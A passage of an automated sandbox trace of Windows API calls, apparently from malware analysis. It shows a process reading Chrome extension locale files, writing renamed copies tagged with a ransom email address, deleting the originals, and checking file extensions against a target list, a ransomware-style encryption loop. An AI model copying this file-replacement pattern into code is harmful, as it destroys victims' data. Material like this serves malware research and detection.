data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.066] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.066] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.067] GetLastError () returned 0x0 [0180.067] ReadFile (in: hFile=0x320, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xea, lpOverlapped=0x0) returned 1 [0180.068] WriteFile (in: hFile=0x198, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0180.068] ReadFile (in: hFile=0x320, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.069] WriteFile (in: hFile=0x198, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.069] SetEndOfFile (hFile=0x198) returned 1 [0180.069] CloseHandle (hObject=0x198) returned 1 [0180.069] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.069] SetEndOfFile (hFile=0x320) returned 1 [0180.070] CloseHandle (hObject=0x320) returned 1 [0180.070] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.070] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json")) returned 1 [0180.070] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.070] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.070] lstrlenW (lpString=".doc") returned 4 [0180.070] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.070] lstrlenW (lpString=".docx") returned 5 [0180.070] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.070] lstrlenW (lpString=".pdf") returned 4 [0180.070] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.070] lstrlenW (lpString=".xls") returned 4 [0180.070] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.070] lstrlenW (lpString=".xlsx") returned 5 [0180.070] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.070] lstrlenW (lpString=".ppt") returned 4 [0180.071] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.071] lstrlenW (lpString=".zip") returned 4 [0180.071] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.071] lstrlenW (lpString=".rar") returned 4 [0180.071] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.071] lstrlenW (lpString=".bz2") returned 4 [0180.071] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.071] lstrlenW (lpString=".7z") returned 3 [0180.071] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.071] lstrlenW (lpString=".dbf") returned 4 [0180.071] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.071] lstrlenW (lpString=".1cd") returned 4 [0180.071] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.071] lstrlenW (lpString=".jpg") returned 4 [0180.071] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.071] lstrlenW (lpString=".doc") returned 4 [0180.071] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.071] lstrlenW (lpString=".docx") returned 5 [0180.071] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.071] lstrlenW (lpString=".pdf") returned 4 [0180.071] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.071] lstrlenW (lpString=".xls") returned 4 [0180.071] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.072] lstrlenW (lpString=".xlsx") returned 5 [0180.072] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.072] lstrlenW (lpString=".ppt") returned 4 [0180.072] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.072] lstrlenW (lpString=".zip") returned 4 [0180.072] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.072] lstrlenW (lpString=".rar") returned 4 [0180.072] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.072] lstrlenW (lpString=".bz2") returned 4 [0180.072] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.072] lstrlenW (lpString=".7z") returned 3 [0180.072] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.072] lstrlenW (lpString=".dbf") returned 4 [0180.072] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.072] lstrlenW (lpString=".1cd") returned 4 [0180.072] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 152 [0180.072] lstrlenW (lpString=".jpg") returned 4 [0180.072] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.072] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.073] lstrlenW (lpString="messages.json") returned 13 [0180.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.250] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=238) returned 1 [0180.250] CloseHandle (hObject=0x158) returned 1 [0180.250] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json")) returned 0x2020 [0180.250] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.250] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.250] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.250] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.251] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.251] GetLastError () returned 0x0 [0180.251] ReadFile (in: hFile=0x158, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xee, lpOverlapped=0x0) returned 1 [0180.252] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0180.253] ReadFile (in: hFile=0x158, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.253] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.253] SetEndOfFile (hFile=0x19c) returned 1 [0180.253] CloseHandle (hObject=0x19c) returned 1 [0180.253] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.253] SetEndOfFile (hFile=0x158) returned 1 [0180.254] CloseHandle (hObject=0x158) returned 1 [0180.254] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.254] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json")) returned 1 [0180.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.255] lstrlenW (lpString=".doc") returned 4 [0180.255] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.255] lstrlenW (lpString=".docx") returned 5 [0180.255] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.255] lstrlenW (lpString=".pdf") returned 4 [0180.255] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.255] lstrlenW (lpString=".xls") returned 4 [0180.255] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.255] lstrlenW (lpString=".xlsx") returned 5 [0180.255] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.255] lstrlenW (lpString=".ppt") returned 4 [0180.255] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.255] lstrlenW (lpString=".zip") returned 4 [0180.255] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.255] lstrlenW (lpString=".rar") returned 4 [0180.255] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.255] lstrlenW (lpString=".bz2") returned 4 [0180.255] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.255] lstrlenW (lpString=".7z") returned 3 [0180.255] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.256] lstrlenW (lpString=".dbf") returned 4 [0180.256] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.256] lstrlenW (lpString=".1cd") returned 4 [0180.256] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.256] lstrlenW (lpString=".jpg") returned 4 [0180.256] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.256] lstrlenW (lpString=".doc") returned 4 [0180.256] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.256] lstrlenW (lpString=".docx") returned 5 [0180.256] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.256] lstrlenW (lpString=".pdf") returned 4 [0180.256] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.256] lstrlenW (lpString=".xls") returned 4 [0180.256] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.256] lstrlenW (lpString=".xlsx") returned 5 [0180.256] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.256] lstrlenW (lpString=".ppt") returned 4 [0180.256] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.256] lstrlenW (lpString=".zip") returned 4 [0180.256] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.256] lstrlenW (lpString=".rar") returned 4 [0180.256] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.256] lstrlenW (lpString=".bz2") returned 4 [0180.256] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.257] lstrlenW (lpString=".7z") returned 3 [0180.257] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.257] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.257] lstrlenW (lpString=".dbf") returned 4 [0180.257] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.257] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.257] lstrlenW (lpString=".1cd") returned 4 [0180.257] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.257] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned 151 [0180.257] lstrlenW (lpString=".jpg") returned 4 [0180.257] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.257] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.257] lstrlenW (lpString="messages.json") returned 13 [0180.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.258] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=264) returned 1 [0180.258] CloseHandle (hObject=0x158) returned 1 [0180.258] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json")) returned 0x2020 [0180.258] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.258] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.258] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.258] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.258] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.259] GetLastError () returned 0x0 [0180.259] ReadFile (in: hFile=0x158, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x108, lpOverlapped=0x0) returned 1 [0180.260] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x110, lpOverlapped=0x0) returned 1 [0180.260] ReadFile (in: hFile=0x158, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.261] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.261] SetEndOfFile (hFile=0x19c) returned 1 [0180.261] CloseHandle (hObject=0x19c) returned 1 [0180.261] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.261] SetEndOfFile (hFile=0x158) returned 1 [0180.262] CloseHandle (hObject=0x158) returned 1 [0180.262] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.262] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json")) returned 1 [0180.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 